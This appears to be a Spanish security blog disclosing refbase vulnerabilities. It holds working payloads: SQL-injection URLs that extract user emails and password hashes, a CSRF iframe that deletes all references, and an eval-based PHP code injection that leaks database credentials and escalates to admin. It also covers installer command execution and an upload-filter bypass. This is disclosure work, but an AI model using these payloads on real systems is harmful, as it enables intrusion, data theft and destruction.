martes, 16 de mayo de 2017

SQL Injection y alguna cosa más. Sí, en refbase

Volvamos a la aplicación refbase. Esta que, por ahora, tiene vulnerabilidades de subida de archivos de cualquier extensiónejecución de comandos de sistema operativo y de ficheros de código SQL, ejecución de código PHP arbitrartio, aparte de una gestión de las versiones que, creo, supone un serio riesgo para quienes la instalan en sus sistemas. Aquí la tenemos
La página de inicio
En la página de inicio aparecen las últimas publicaciones introducidas en la base de datos. Junto a cada una de ellas hay dos botones: uno con forma de flecha, que lleva al sitio donde puede consultarse el documento, y otra, con forma de lupa, que permite acceder a la correspondiente ficha. Tomemos una publicación, hagamos clic en su "lupa"...
Atención a la URL

... y observemos la URL. Como no sale completa en la imagen, os la copio aquí:
http://localhost/refbase-code-1418-trunk/search.php?sqlQuery=SELECT%20author%2C%20title%2C%20type%2C%20year%2C%20publication%2C%20abbrev_journal%2C%20volume%2C%20issue%2C%20pages%2C%20keywords%2C%20abstract%2C%20address%2C%20corporate_author%2C%20thesis%2C%20publisher%2C%20place%2C%20editor%2C%20language%2C%20summary_language%2C%20orig_title%2C%20series_editor%2C%20series_title%2C%20abbrev_series_title%2C%20series_volume%2C%20series_issue%2C%20edition%2C%20issn%2C%20isbn%2C%20medium%2C%20area%2C%20expedition%2C%20conference%2C%20notes%2C%20approved%2C%20call_number%2C%20serial%20FROM%20refs%20WHERE%20serial%20%3D%207%20ORDER%20BY%20author%2C%20year%20DESC%2C%20publication&client=&formType=sqlSearch&submit=Display&viewType=&showQuery=0&showLinks=1&showRows=10&rowOffset=&wrapResults=1&citeOrder=&citeStyle=APA&exportFormat=RIS&exportType=html&exportStylesheet=&citeType=html&headerMsg=

O, decodificando los parámetros GET para que todo se vea más claro:
http://localhost/refbase-code-1418-trunk/search.php?sqlQuery=SELECT author, title, type, year, publication, abbrev_journal, volume, issue, pages, keywords, abstract, address, corporate_author, thesis, publisher, place, editor, language, summary_language, orig_title, series_editor, series_title, abbrev_series_title, series_volume, series_issue, edition, issn, isbn, medium, area, expedition, conference, notes, approved, call_number, serial FROM refs WHERE serial = 7 ORDER BY author, year DESC, publication&client=&formType=sqlSearch&submit=Display&viewType=&showQuery=0&showLinks=1&showRows=10&rowOffset=&wrapResults=1&citeOrder=&citeStyle=APA&exportFormat=RIS&exportType=html&exportStylesheet=&citeType=html&headerMsg=

Algo que quizá alguien recuerde de "El parque del oso": ¡Toda una sentencia SQL pasada como parámetro GET!

En su día contaba yo a los desarrolladores de refbase que esto era peligroso y que quizá debían plantearse un enfoque alternativo. No sólo por seguridad sino también porque la solución que habían elegido les complicaría en el futuro la migración de refbase a otros gestores de bases de datos distintos de MySQL. La respuesta fue que, por desgracia, no era realista plantear un cambio de ese calado, dados los recursos de que disponían para el desarrollo.

No digo más. Y con eso creo que tendrás suficiente para entenderme.

En todo caso, refbase no ejecuta el código introducido sin más. Las consultas proporcionadas a través del parámetro GET sqlQuery son alteradas de varias formas para garantizar el correcto funcionamiento del programa. Cosas como:
  • El usuario puede solicitar sólo aquellas columnas que le interesan y refbase se adapta a su petición, mostrando únicamente los datos requeridos. Si es necesario, refbase añade a la consulta las columnas que precise para sus operaciones internas, pero no las muestra.
  • Se garantiza la existencia de la claúsula ORDER BY
Y se incluyen algunos mecanismos de seguridad. Así en la versión obtenida del repositorio SVN se rechaza la consulta y, en lugar de responderle, se redirige al usuario a la página inicial cuando:
  • La consulta contiene etiquetas HTML (para evitar XSS)
  • El usuario no es administrador y la consulta no comienza con "SELECT". A esta comprobación le añaden también que no contengan "DROP DATABASE" o "DROP TABLE".
  • Al SELECT inicial le sigue cualquier cosa que no sea una lista de columnas antes de llegar al FROM. Las columnas que pueden incluirse en esta lista están indicadas expresamente en la variable "$all_fields". Una lista blanca: eso apunta buenas maneras. La expresión regular elegida para hacer esta comprobación viene dada por: 
"/^SELECT ((" . $all_fields . "),* *)+ FROM/i"
  • Si alguien intenta colar una segunda consulta. Para ello, se trata de detectar la presencia de una segunda claúsula FROM
"/FROM .*(" . join("|", $tablesArray) . ").+ FROM /i"
  •  Si la consulta contiene alguna operación no permitida. Las operaciones permitidas vienen dadas mediante una expresión regular

"/FROM $tableRefs( LEFT JOIN $tableUserData ON serial ?= ?record_id AND user_id ?= ?\d*)?(?= WHERE| ORDER BY| LIMIT| GROUP BY| HAVING| PROCEDURE| FOR UPDATE| LOCK IN|$)/i"

Todo lo cual, dadas las circunstancias, estaría bien (o, al menos, regular)... si las expresiones regulares fueran correctas.

Sin entrar en muchos detalles, hay un fallo grande. Muy grande. En todas las expresiones regulares anteriores se considera que las claúsulas SQL van separadas... por espacios. Pero SQL en general, y el dialecto de MySQL en particular, acepta un montón de caracteres y expresiones como separadores. Por ejemplo, un comentario "/**/". O un tabulador. O...

Así, que se puede hacer una petición como
http://localhost/refbase-code-1418-trunk/search.php?sqlQuery=SELECT publication, serial FROM refs WHERE serial = -1/**/union/**/select email,password,3,4,5,6,7,8,9,10/**/from/**/auth ORDER BY 1 DESC&client=&formType=sqlSearch&submit=Display&viewType=&showQuery=0&showLinks=1&showRows=10&rowOffset=&wrapResults=1&citeOrder=&citeStyle=APA&exportFormat=RIS&exportType=html&exportStylesheet=&citeType=html&headerMsg=
... y obtener los identificadores de usuario (sus cuentas de correo) y los hashes de sus contraseñas:
SQL Injection accomplished!
Por cierto, que el comportamiento de la aplicación ante la ejecución de consultas SQL incorrectas ayuda bastante a elaborar estos ataques. Muestra tanto la consulta que se intentó realizar como la respuesta del gestor de bases de datos:
Buena ayuda para un atacante


En lugar de comentarios podrían haberse usado otros separadores. Por ejemplo, tabuladores horizontales (codificados en la URL como %09), tabulación vertical (%0B), salto de página (%0C) o retorno de carro (%0D):
http://localhost/refbase-code-1418-trunk/search.php?formType=sqlSearch&submit=Display&headerMsg=&sqlQuery=SELECT publication, serial FROM refs WHERE serial = -1%09union%0Bselect email,password,3,4,5,6,7,8,9,10%0Cfrom%0Dauth ORDER BY 1 DESC, publication&showQuery=0&showLinks=1&showRows=10&rowOffset=0&marked[]=&citeStyle=APA&citeOrder=&orderBy=author, year DESC, publication

Una nota al margen para ir acabando. Los usuarios normales no pueden hacer otra cosa  que SELECT. Los administradores sí podrían lanzar otras instrucciones.

En lo que a los DROP respecta, el usuario que crea el instalador de la aplicación para conectar a la base de datos carece de los permisos necesarios, por lo que no tendrían impacto alguno. Salvo que, quizá por los fallos que tiene el instalador, alguien se huviera visto obligado a crear la cuenta a mano y se hubiera pasado con los permisos, claro.

En todo caso, los INSERT, UPDATE y DELETE sí que están permitidos a la cuenta de administración de refbase. De hecho ésta disponde de un formulario, "sql_search.php", que le permite ejecutar (o tratar de hacerlo) cualquier sentencia SQL. Este formulario termina llamando a "search.php" indicando el parámetro GET "formType=sqlSearch".

¿Y por qué es esto importante?

Porque "search.php", como tantas otras partes de la aplicación, no está debidamente protegido contra Cross Site Request Forgery. Ni, dicho sea de paso, contra ClickJacking. De modo que un atacante podría usar cualquier servidor web que tuviera bajo su control y alojar en él una página maliciosa con el siguiente código:
Hola
<iframe src="http://localhost/refbase-code-1418-trunk/search.php?formType=sqlSearch&submit=&citeStyle=&citeOrder=&sqlQuery=Delete+from+refs&showLinks=1&showRows=10&viewType=Web"
 style="display:none">
</iframe>
Si alguien que ha iniciado sesión con la cuenta de administración de refbase visita esta página... Adios al trabajo de recopilación de referencias documentales.


Nada por aquí, nada por allá







viernes, 12 de mayo de 2017

WannaCry WCry WCrypt

De que hoy anda suelto un ransomware que está haciendo de las suyas, no creo que haga falta hablar.

Sólo unos cuantos enlaces:

Un mapa (malwareTech) en el que puedes ver cómo está la cosa y como ha venido estando. Es el que sale en todas las noticias. Pero aquí lo tienes en tiempo real.

Una cuenta de Twitter (MalwareHunterTeam) con información.

Una hashtag de las que tratan sobre este tema, #WCry

Un repositorio en GitHub con muuuucha información.


Y tu periódico preferido que te contará las cosas de las que se vayan enterando. Espero que de forma correcta

Refbase: Ejecución de código PHP arbitrario

Ésta de la que hablo hoy es una de las vulnerabilidades que menos tiempo me llevó encontrar. Exceptuando aquellas que son obvias, claro está.

Y tan fácil como fue, supongo que no habré sido el primero, ni seré el último en dar con ella.

Ahí va la historia. Voy a tardar más en contarla de lo que me llevó hacerlo:

Preparativos

Uno de los indicios del grado en que se ha tenido en cuenta la seguridad a la hora de diseñar y programar una aplicación es, en mi opinión, el número de veces que en ella se usa la compilación o interpretación de código generado en tiempo de ejecución.

Para decirlo en pocas palabras, si hablamos de PHP o de JavaScript, cuántas veces se usa "eval".

Y lo bueno es que es algo fácil de determinar. Si, como a mí, te gusta la línea de comandos de Linux, puedes usar una combinación de "find", "grep" y "wc". Pero por ahora utilizaremos un editor de textos potente, como Notepad++ o Kate, que ofrezca la capacidad de buscar en todos los ficheros de un directorio y sus subdirectorios.

El que tengo instalado en mi equipo actual es el primero de ellos así que... ahí va lo que hice.

Abrí la ventana de "Buscar" y activé la pestaña de "Buscar en archivos". Allí marqué la opción de buscar como "Expresión regular" y dije que quería buscar dentro de la carpeta de refbase la cadena "eval" seguida de cualquier número de espacios (o quizá ninguno) y, finalmente, un paréntesis:
Imagen 1 - Busca
De los resultados obtenidos, la mayor parte eran del lado del cliente (JavaScript). Pero el último prometía:
Imagen 2 - Encuentra

Haciendo doble clic sobre el resultado se me abrió en la parte superior el fichero con el cursor colocado en la correspondiente línea
Imagen 3 - El punto en que todo se convierte en problemas

O sea: desactivando la salida de las instrucciones (con "ob_start" y "ob_end_clean"), se  lee un fichero cuyo nombre viene dado por $f, se coloca el resultado dentro de una cadena de texto... y se hace un eval de ésta. Un poco antes aparece cómo se determina la ruta del fichero a abrir. Se trata del fichero de adaptación de idioma:
Imagen 4 - El punto del que proceden los problemas
Estaba claro por el contexto, y por un listado de la carpeta "locales" que "$locale" contendría el nombre abreviado del idioma usado por el usuario actual:

Imagen 5 - Los "locales"
Necesitaba encontrar dónde se le asignaba valor a $locale, de modo que usé Notepad++ para buscar en todos los archivos de la carpeta la expresión regular
\$locale\s*=

 Y me encontró la siguiente línea en el fichero "includes/locales.inc.php":
$locale = getUserLanguage(); // function 'getUserLanguage()' is defined in 'include.inc.php'

Miré, pues, la definición de "getUserLanguage()" en "includes/include.inc.php".  La línea en la que se obtenían los valores hacía referencia a otra función:
$userLanguagesArray = getLanguages($loginUserID);

Para encontrar la definición de getLanguages usé la expresión regular
function\s+getLanguages

... Y la encontré en el mismo fichero. El dato lo tomaba de una consulta SQL:
$query = "SELECT language AS language_name FROM $tableUsers WHERE user_id = " . quote_smart($userID);

Pero ¿cómo se metían los datos ahí? Para averiguarlo, localicé los sitios en los que se actualiza la tabla buscando:
update\s\$tableUsers

Y, entre los resultados, encontré varios del fichero "user_options_modify.php", cuyo nombre suena a modificaciones de las opciones de usuario. Tuve suerte con el primero de ellos:
$queryArray[] = "UPDATE $tableUsers SET " 
    . "language = " . quote_smart($formVars["languageName"]) . " "
    . "WHERE user_id = " . quote_smart($userID);

La variable $formVars se rellenaba con los parámetros POST recibidos por el script, sin más comprobaciones:
foreach($_POST as $varname => $value)
        $formVars[$varname] = $value;

La cosa tenía mala pinta. Mala para la seguridad, quiero decir. Busqué la función "quote_smart" (sí: con la expresión regular "function\s+quote_smart") y su código, contenido en el fichero "includes/include.inc.php", parecía prestar atención sólo a temas relacionados con SQL injection y de formato:
function quote_smart($value)
    {
        // Remove slashes from value if 'magic_quotes_gpc = On':
        $value = stripSlashesIfMagicQuotes($value);

        // Remove any leading or trailing whitespace:
        $value = trim($value);

        // Quote & escape special chars if not a number or a numeric string:
        if (!is_numeric($value))
        {
            $value = "\"" . escapeSQL($value) . "\"";
        }
        // Quote numbers with leading zeros (which would otherwise get stripped):
        elseif (preg_match("/^0+\d+$/", $value))
        {
            $value = "\"" . $value . "\"";
        }

        return $value;
    }

De modo que la ruta de fichero no es objeto de más comprobaciones de seguridad que las que tratan de evitar la inyección de SQL. Las puertas están abiertas a un Local File Include gracias a la llamada a la función eval.

Ataque

Impaciente como soy, no pude esperar más. Entré en refbase como administrador (recuerda que las credenciales por defecto son "user@refbase.net" / "start") ...

Imagen 6 - Nótense las opciones para gestionar cuentas de usuario

... y creé una cuenta. Inmediatamente, cerré la sesión y me pregunté ¿qué podría hacer este nuevo usuario de tener malas intenciones?

Imaginemos que puede subir ficheros a un directorio, cosa que de hecho refbase permite. Pero que el programa rechaza aquellos que tienen extensión PHP. Y supongamos que no está en condiciones de explotar la vulnerabilidad de refbase de la que hablamos en "Sube que te sube".

Sea, pues, "c:\xampp\htdocs\otro" una carpeta en la que este atacante puede subir sus ficheros. Y sigamos.

Tras iniciar sesión con esta nueva identidad...
Imagen 7 - Sin opciones de gestión de usuarios
... ya no tenía las opciones propias de un adminitrador. Era sólo un simple usuario. Por ahora.

Ya como usuario de a pie, hice clic en el enlace "Options" de la parte superior de la página para configurar mis preferencias.

Imagen 8 - Mis opciones

Hice clic en el botón a la derecha de "Display Options" para modificar los ajustes.
Imagen 9 - Cambiando opciones
Usando las herramientas para desarrolladores (las de F12), seleccióné el desplegable donde se elige el idioma y, con la tecla F2, procedí a modificar su contenido, dejándolo con una única opción:

Imagen 10 - Extraño idioma
En cuanto hube terminado con el cambio, hice clic en otra etiqueta del código y vi el efecto causado
Imagen 11 - Cambio realizado


Sólo quedaba enviar el formulario con el botón "Submit" de su parte inferior. Con esta extraña lengua se consigue que la aplicación tome el fichero de idiomas, que recordemos que contiene código PHP, de un directorio seleccionado por el atacante. Dentro de él la aplicación buscará, dependiendo de si se usa codificación UTF8 o no, un fichero llamado "common_utf8.inc" o "common.inc" (ver Imagen 4).

Recordemos por otro lado, que el código a evaluar se generaba mediante una instrucción del tipo
$s = "\$loc=array(".ob_get_contents().");";
Y también que este código es ejecutado entre una instruccion "ob_start()" y una "ob_end_clean()" que impiden que se muestre cualquier salida producida mediante instrucciones "print"  y similares.

De modo que podríamos pensar en crear un fichero "common.inc" (o "common_utf8.inc") con el mismo contenido del que trae refbase para el idioma inglés y añadirle al final unas cuantas líneas:
 un contenido como el siguiente
);

ob_end_clean();
print "La cuenta de admin es: " .
    $adminLoginEmail . "<br>";

$_SESSION["loginEmail"] = $adminLoginEmail;

$___dbconfig = file_get_contents("initialize/db.inc.php");

preg_match_all(
    '/(hostName|databaseName|username|password)\s*=.*;/',
    $___dbconfig,
    $___match
);

print "<br>Datos de conexi&oacute;n:<br>";
foreach ($___match[0] as $___dato) {
    print "&nbsp;&nbsp;" .
        $___dato . "<br>";
}
print "<hr>";

ob_start(

Imagen 12 - Líneas añadidas
A poco que se lea, se ve lo que hace: muestra el identificador de la cuenta de administración de refbase, modifica la cuenta del usuario actual almacenada en las variables de sesión y muestra los datos de conexión a la base de datos. Para verlo en acción, basta con cargar una página de la aplicación:
Imagen 13 - Primera ronda

Los datos de cuenta de administración y conexión a la base de datos aparecen en la nueva cabecera que hemos añadido. Pero parece que no han cambiado las acciones que puede realizar el usuario. No hay problema: damos a volver a cargar la página y...
Imagen 14 - Segunda ronda


De todos modos, esto de obtener permisos de administración de refbase es, a estas alturas, poco relevante. Teniendo los datos de conexión a la base de datos, es posible... conectarse a ella. Y después, claro, consultar, modificar o borrar cualquier dato.

 Pero yo soy de los buenos, de modo que aquí paro.

Conclusiones

Creo que hablar a estas alturas de que hay que validar las entradas del usuario en los formularios y aceptar sólo aquellos valores que son razonables... es repetir demasiado las cosas. Pero, sin embargo, siempre hay quien no lo hace.

Por lo demás, hay otra moraleja: "Un fichero de configuración ejecutable es más peligroso que un sable".

Que una definición de idioma, una plantilla o cualquier otra cosa que sólo debería afectar a la  apariencia contenga código PHP es cosa para aficionados al riesgo: "¿Que no tienes la versión en español de refbase? Pues de aquí te puedes descargar los ficheros de idioma. Y van con un regalito".

Pronto, espero, más.







jueves, 11 de mayo de 2017

Vulnerabilidades en el instalador de refbase... cuando funciona

Arreglando el instalador de refbase

Entre los últimos cambios introducidos en refbase se cuenta la compatibilidad con PHP 7. Ciertamente, es bueno saber que los desarrolladores de un producto se preocupan de que éste funcione con las versiones más recientes de su entorno de ejecución. Pero... hay un problema con el instalador.

Para inicializar la base de datos y otros elementos de refbase se utiliza el script "install.php". Y resulta que "install.php" utiliza la extensión "MySQL original". La "de siempre", con funciones o métodos como mysql_connect, mysql_query, etc.), que resulta estar declarada obsoleta a partir de PHP 5.5.0 y eliminada en PHP 7.0.0. De modo que, aunque la aplicación funcione con PHP 7, el instalador no.

Y, claro, no puedes utilizar una aplicación si antes no la instalas.

Por fortuna para quienes quieran actualizar refbase desde una versión anterior, la estructura de la base de datos no cambia. Basta con copiar los nuevos scripts, quizá tocar algún fichero de configuración y... todo listo y funcionando. Supongo que esto es lo que habrán hecho los desarrolladores a la hora de poner en marcha y probar las nuevas versiones. De ser así, "install.php" no les habría hecho falta y, por tanto, nadie se fijó en él y no fue objeto de pruebas.

Carecer de unos procedimientos de gestión que permitan determinar todas las dependencias entre módulos del sistema y de éstos con el entorno de ejecución es, en sí mismo, una segunda "vulnerabilidad administrativa" a añadir a la de ayer. Cosa que no pruebas, error que no pillas. Pero dejémonos de burocracia y vayamos al lado divertido de la tecnología.

Para empezar, a mí no me funcionó el instalador ni siquiera usando PHP 5.6.30. De modo que, por ser constructivos, ahí van los cambios que tuve que hacer en "install.php" para arreglarlo:

1.- Cambiar todas las veces que aparece  "mysql_" por "mysqli_"

2.- Cambiar todas las veces que aparece "mysqli_errno()" por "mysqli_errno($connection)"

3.- Cambiar "mysqli_select_db($adminDatabaseName, $connection)" por "mysqli_select_db($connection, $adminDatabaseName)"

4.- Cambiar el orden de los dos parámetros en todas las llamadas a "mysqli_query". Para ello se puede utilzar un editor de texto avanzado, como Notepad++ o Kate, y realizar una sustitución global de la expresión regular "mysqli_query\s*\(([^,]+),([^\)]+)\)" por "mysqli_query\(\2,\1\)". Y, si no lo ves claro, siempre puedes hacerlo "a mano".

Para los siguientes ejemplos se descargaron las últimas versiones "trunk" y "bleeding edge" del repositorio SVN:

Repositorio SVN





Instalar refbase

La verdad es que instalar refbase, una vez tienes el entorno apropiado y el instalador arreglado, debería ser bastante fácil. Vayamos a ello:
El instalador. Si no ves en él nada raro...


Es buena cosa que se recomiende modificar los parámetros de conexión a la base de datos indicados en el fichero "initialize/db.inc.php". En él aparecen unas variables cuyos nombres son bastante explicativos, aparte de que los comentarios del fichero lo dejan todo muy claro si sabes inglés. Estas variables y sus valores por defecto son:

$hostName = "localhost";
$databaseName = "literature";
$username = "litwww";
$password = "%l1t3ratur3?";

No hace falta que la base de datos ni la cuenta de acceso existan. De eso se encargará el instalador. Lo malo es que, si MySQL (o MariaDB) está instalado en el mismo equipo que el servidor web, se puede realizar la instalación sin cambiar estos parámetros de configuración. Y, ya se sabe, los valores por defecto suelen hacer que todo funcione, pero no siempre de forma optimizada o segura.

No es bueno usar credenciales por defecto y las aplicaciones no deberían tenerlas. Mejor preguntarlas a quien realiza la instalación.

Es hora de rellenar el formulario. Para empezar, unas credenciales para acceder al servidor de bases de datos. Debe tratarse de una cuenta con permisos de administración pues con ella se creará la base de datos y la cuenta de usuario, se asignarán permisos, etc.

Después va la ruta del programa de línea de comandos que permite interactuar con la base de datos, típicamente "mysql.exe" o "mysql". Y le sigue la ruta de un fichero con los comandos SQL que crean las tablas y les añaden sus primeras filas. Paro aquí y no sigo porque el resto carece de relevancia para las pruebas que estoy realizando. Y te dejo tiempo para que vuelvas a leer este párrafo.

Sí. Has leído y entendido bien. No es que haya un problema de vulnerabilidad de inyección de comandos de sistema operativo ni otra de SQL injection. Es que ambas cosas forman parte del propio diseño del procedimiento de instalación. Y, sí, ésta es una de las cosas que les comentaba hace año y pico a los desarrolladores.

En todo caso, debe señalarse que hay un factor que mitiga el riesgo. Por la forma de funcionar del instalador, si las credenciales de acceso a la base de datos proporcionadas no son válidas, o si la cuenta no puede seleccionar la base de datos "mysql", el proceso de instalación se detiene y no se ejecutan comandos ni del sistema operativo ni SQL. Además, se comprueba que las rutas se refieren a ficheros y que se tienen los permisos apropiados.

Pero una cosa es conocer unas credenciales válidas de administración de MySQL y otra es poder ejecutar comandos en el sistema operativo con la cuenta del servidor web. Como esta vez estaba usando XAMPP en "modo usuario", sin instalar servicios, me acordé de nuestra amiga la calculadora:
El formulario relleno y el efecto que causa al enviarlo


Además, el formulario tiene una vulnerabilidad de Cross Site Request Forgery. Esto permite explotar las vulnerabilidades presentes incluso si no se tiene acceso a la instancia de refbase a atacar. Bastaría con que alguien con malas intenciones (y sabiendo credenciales de adminsitración de MySQL) tuviera una página en su servidor como "http://malicioso.example.net/1/index.html" con un código como el siguiente:
Código fuente de la página maliciosa


Como puede observarse, es un formulario de instalación ya relleno que es enviado de forma automática al servidor de la instancia de refbase y cuyos valores fuerzan la ejecución de comandos en el servidor web. Si ahora consiguiera que alguien que sí tenga acceso a la aplicación visitara la página maliciosa...

A lo del fichero SQL no le dedico mayor espacio. A todo lo dicho habría que añadir que quien tenga ya las credenciales de adminsitración de MySQL posiblemente encuentre, o haya encontrado, formas de hacer lo que quiera y no necesite andar jugando con el instalador de refbase. De todos modos, casos habrá en que éste sea de utilidad.

Instalando ya refbase. Esta vez, de verdad

Bueno, ha llegado la hora de instalar refbase. Relleno los campos bien y envío y...
Instalado




Al acabar la instalación, de nuevo, la aplicación da buenos consejos. Me dice que cambie la cuenta de administración de refbase (por defecto "user@refbase.net" con contraseña "start") y que, ya que no me va a hacer más falta, elimine el script "install.php". No sea que alguien lo utilice para volver a instalar la aplicación y hacer tabla rasa con todos los datos que pudiera contener.

Algún "install.php" me he encontrado usando Google. ¿Y cuántos habrá en Internet no indexados, pero que están "al ladito" de instalaciones de refbase que sí aparecen en el buscador? Iba a poner un ejemplo llamativo, pero mejor me paro un poquito...

De este tema hablé también con los autores de refbase. Y me alegra ver que en la nueva versión, la página principal de la aplicación´se niega a prestarnos servicio en tanto exista el fichero "install.php" (y también "update.php", utilizado para actualizaciones desde versiones muy antiguas).
Si no eliminas los scripts de instalación, no te hago caso

Eso sí, si te sabes algunas URLs, otras funcionalidades no cuentan con esta protección. Como se dice por aquí, nos van dando "una de cal y otra de arena". Una cosa buena y otra mala. Además, algunas de estas funcionalidades en mi caso muestran muchos mensajes de error:
Errores a gogo

De eso también les hablaba en el informe que envié en su día a los desarrolladores de refbase. Que si era conveniente deshabilitar los mensajes de error, que si éstos podrían proporcionar información a un potencial atacante... La respuesta fue que esto no era problema de refbase. Que bastaba con configurar el servidor PHP, con "display_errors=Off" en el "php.ini", para que no mostrara los mensajes y listo.

¡Ay! ¡Costumbre peligrosa, la de dejar que sean otros los que corrijan algo que uno podría haber dejado bien! ¡Y mira que les habría bastado con poner un "error_reporting(0);" al inicio de unos cuantos ficheros! Pues ni por esas.

Bueno. Elimino "install.php" y "update.php", configuro mi servidor para que no muestre errores y lo reinicio. Todo mejor.
Esto ya parece un programa

Una pregunta que me hago

Digo yo: El instalador te pide que le indiques mediante el formulario las rutas del fichero con sentencias SQL a instalar y del ejecutable de la interfaz de línea de comandos de MySQL. Y tienes que tocar ficheros PHP para indicar los parámetros de conexión y el nombre de la cuenta de administración.

En todo caso... ¿no sería preferible que fuera al revés? Que lo que estuviera configurado mediante ficheros PHP fueran las rutas del ejecutable y el fichero SQL. Que el formulario solicitara los parámetros de conexión y la cuenta de administración.

Supongo que pensarían: "A ver dónde va a poner el instalador las credenciales de conexión y otras cosas por estilo. Porque si es en un fichero de texto o similar alguien podría descargarlo y ver su contenido. Y usar los valores para generar código PHP de forma automática... da un poco de mal rollo. No sea que alguien averigüe cómo inyectar código PHP en alguno de los parámetros y nos la líe parda".

Pero no es éste un tema del que deberían preocuparse demasiado.

Refbase ya tiene otras vulnerabilidades de ejecución de código PHP arbitrario.

La próxima vez os lo cuento.

miércoles, 10 de mayo de 2017

Vulnerabilidad de "Insufficient resources to accomplish the task"

Refbase es el nombre

En la última entrega hablaba de una aplicación vulnerable cuyo nombre no quería revelar. Estaba siendo objeto de cambios en su código fuente y prefería esperar a ver cómo quedaba al final. Ahora que la cosa se ha estabilizado, creo que es momento de dedicarle unos cuantos posts.

Muchos posts.

Vaya aquí el primero. Hace ya más de un año que me puse en contacto con los desarrolladores de "Web Reference Database", también llamado "refbase" para comunicarles algunos fallos de seguridad que le había encontrado. Y no había costado demasiado dar con ellos. Para quien no lo conozca, refbase es el software al que, sin nombrarlo, me referí en varias entregas de esta serie como en "El parque del oso" y "otros casos parecidos" o en "Más cosas de la web del oso". Y, sí, también en "Sube que te sube".

Tras intercambiar varios mensajes con ellos y esperar (esperar mucho), os cuento mi experiencia y mis reflexiones.

Vaya por delante que refbase es una aplicación muy compleja, con muchas funcionalidades, y que, si no tuviéramos en cuenta los aspectos relacionados con la seguridad, me parecería estupenda, pero...

Primer contacto


Pero me parece que no se diseñó con la seguridad en mente. Y, cuando el producto está hecho, cambiar sus especificaciones es complicado, de modo que la cosa se suele arreglar con parches, de esos que no suelen quedar "bonitos". Pero vayamos a la web de refbase y veamos qué ofrece:

New - Download refbase 0.9.6


Estamos de suerte. Hay una versión nueva, la 0.9.6 y se supone que ha corregido algunos problemas. Quizá... si no fuera porque esa misma versión ya era "nueva" hace unos tres años:

Not that new

Al hacer clic sobre este anuncio de nueva versión se inicia la descarga de refbase. Así procedí yo hace año y pico. Y cuando les envié un reporte de vulnerabilidades me señalaron que algunas de ellas ya estaban solucionadas y que lo comprobara en su repositorio de Subversion, donde hay una versión más actualizada.

A este respecto debo señalar que en su página principal tienen un enlace al mismo y que en alguna ocasión he encontrado recomendaciones de los propios desarrolladores para que se use la versión del SVN.

Espera, que hay versiones posteriores



La tecnología puede ser sexy y llamativa. Pero no siempre es lo más importante. Y, desde luego, no lo es en este caso. Porque si la versión 0.9.6 es muy vulnerable (que, serlo, lo es) y existen versiones más recientes (que, existir, existen)... yo me pregunto: "¿Por qué no se ofrece una versión más reciente en la página principal de la web?". Y se me ocurren dos respuestas:

- Porque no han considerado estable ninguna de las versiones posteriores a la 0.9.6.
- Porque no han actualizado la web.

Sea como sea, ahí está el mensaje. Colocado en una zona privilegiada de la página, de modo que habrá quien, como yo en su día, se limite a hacer clic en él y no siga leyendo.

Y aseguro que creo, quiero creer, que al equipo de desarrollo de refbase le preocupa la seguridad. De hecho, incluso he encontrado casos en que recomiendan a sus usuarios actualizar sus entornos de ejecución a versiones más recientes.

Buenos consejos


Pero es que es un equipo muy reducido. Dependiendo del momento, quizá dos... quizá 3... quizá lleguen a 5 miembros. Y muchos de ellos van y vienen: "los de siempre" parecen ser sólo dos. Que, además, parecen tener otras ocupaciones principales que, supongo, les dejarán poco tiempo libre.

Mientras tanto, sigue habiendo quien se descarga la versión antigua, supervulnerable, y la instala en producción, con los riesgos que  ello supone:

Sí, amigo. Instálate la 0.9.6, que verás que bien te lo pasas

Ahí dejo, pues, un ejemplo (uno más) de "vulnerabilidad administrativa". Por usar la forma de expresarse del Top 10 de OWASP supongo que podría denominarse: "Insufficient resources to accomplish the task". Y a la larga es de las graves. Más que un SQL injection. Porque mientras ésta puede corregirse puntualmente, la otra es una tendencia.

Quien no mire este tipo de cosas a la hora de seleccionar los proyectos de software a implantar, tanto libre como propietario, que después no se queje.

La próxima vez nos pondremos a ver si se arreglaron los problemas de seguridad de la aplicación. Que os adelanto que más bien no.

martes, 25 de abril de 2017

By Design (5)

Sube que te sube

Una página que permite subir un fichero a un servidor... ¿qué puede salir mal?

No quiero dar por ahora el nombre de la aplicación porque me consta que en estos días está siendo sometida a una importante "reforma" y quisiera antes ver cómo termina la cosa. Pero, sin decir el "pecador", sí voy a mencionar uno de sus muchos, y en ocasiones importantes, "pecados". De modo que en los ejemplos que siguen se mostrará un formulario que he creado aprovechando su código (se trata de software libre) y copiando su comportamiento.

La idea es que el usuario sube un fichero y la aplicación lo almacena en cierto directorio. El nombre con el que el fichero es guardado se determina teniendo en cuenta el valor de una variable de configuración:
  • Si el valor de ésta es verdadero, se usa un nombre predeterminado y se le pone como extensión la del fichero original. Esta extensión se obtiene tomando los caracteres que sigan al último carácter de punto (.). Esta es la opción por defecto.
  • Si es falso, se usa el nombre y la extensión del fichero original.
El primer error de diseño, aunque es algo que no siempre es posible evitar, es que por defecto el directorio en el que se copian los ficheros subidos es un subdirectorio de la propia aplicación web. Peligroso. Muy peligroso. Pero no todo está perdido (¿o sí?): los desarrolladores implementan un control de las extensiones de archivo permitidas con objeto de impedir que alguien cuele algo dañino:

if (preg_match("#\.(exe|com|bat|zip|php|phps|php3|phtml|phtm|cgi)$#i", $uploadFile["name"]))
  // file name has an invalid file name extension (adjust the regex pattern if you want more relaxed
  //file name validation)
   $errors["uploadFile"] = "You cannot upload this type of file!";
  // file name must not end with .exe, .com, .bat, .zip, .php, .phps, .php3, .phtml, .phtm or .cgi

El resultado es que si, por ejemplo, se intenta subir un fichero PHP, la aplicación se niega a obedecer:
Imagen 1 - No puedes subir este tipo de fichero


Así que nada de ".exe, .com, .bat, .zip, .php, .phps, .php3, .phtml, .phtm or .cgi" ¿verdad?

Blanco. Blanco como la nieve

Cuando de medidas de seguridad se trata, es más fácil terminar arrepentiéndose de haber usado una lista negra que de usar una lista blanca.

Y, para muestra, un botón. Porque mirando esas extensiones me pregunto: ¿y si, por ejemplo, la aplicación estuviera corriendo en un servidor Apache que tuviera instalados módulos como mod_mono, que permite la ejecución de páginas ASP.NET? ¿Y si, entonces, alguien subiera un fichero con extensión .ASPX?

Sin necesidad de ir tan lejos, lo que más a mano tenía yo para hacer pruebas era un servidor XAMPP sobre Windows. Y... XAMPP trae Perl activado. Así que probé a subir un fichero con extensión ".PL":
Imagen 2 - Subiendo CGI en Perl
Et voilà:
Imagen 3 - Ejecutando el CGI

